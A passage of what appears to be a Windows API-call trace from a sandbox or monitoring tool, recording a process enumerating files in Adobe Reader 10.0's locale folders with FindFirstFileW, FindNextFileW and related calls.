ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0045.424] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.426] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.426] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SUO", cAlternateFileName="ACCESS~1.SUO")) returned 1 [0045.427] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.428] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.428] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9299, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.428] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.428] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.428] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SUO", cAlternateFileName="")) returned 1 [0045.428] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.428] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.428] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0045.428] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.430] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.430] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.FRA", cAlternateFileName="ACCESS~1.FRA")) returned 1 [0045.431] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.431] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.431] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.431] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.431] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.432] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.FRA", cAlternateFileName="")) returned 1 [0045.432] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.432] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.432] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0045.432] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.433] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.433] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.HRV", cAlternateFileName="ACCESS~1.HRV")) returned 1 [0045.434] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.435] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.435] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9049, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.435] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.435] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.435] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HRV", cAlternateFileName="")) returned 1 [0045.435] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.435] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.435] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0045.436] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.439] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.439] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.HUN", cAlternateFileName="ACCESS~1.HUN")) returned 1 [0045.440] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.440] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.440] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.440] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.440] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.440] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HUN", cAlternateFileName="")) returned 1 [0045.440] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.441] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.441] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0045.441] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.443] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.443] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA", cAlternateFileName="ACCESS~1.ITA")) returned 1 [0045.443] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.444] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.444] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.444] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.444] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.445] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ITA", cAlternateFileName="")) returned 1 [0045.445] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.445] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.445] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0045.445] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.447] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, 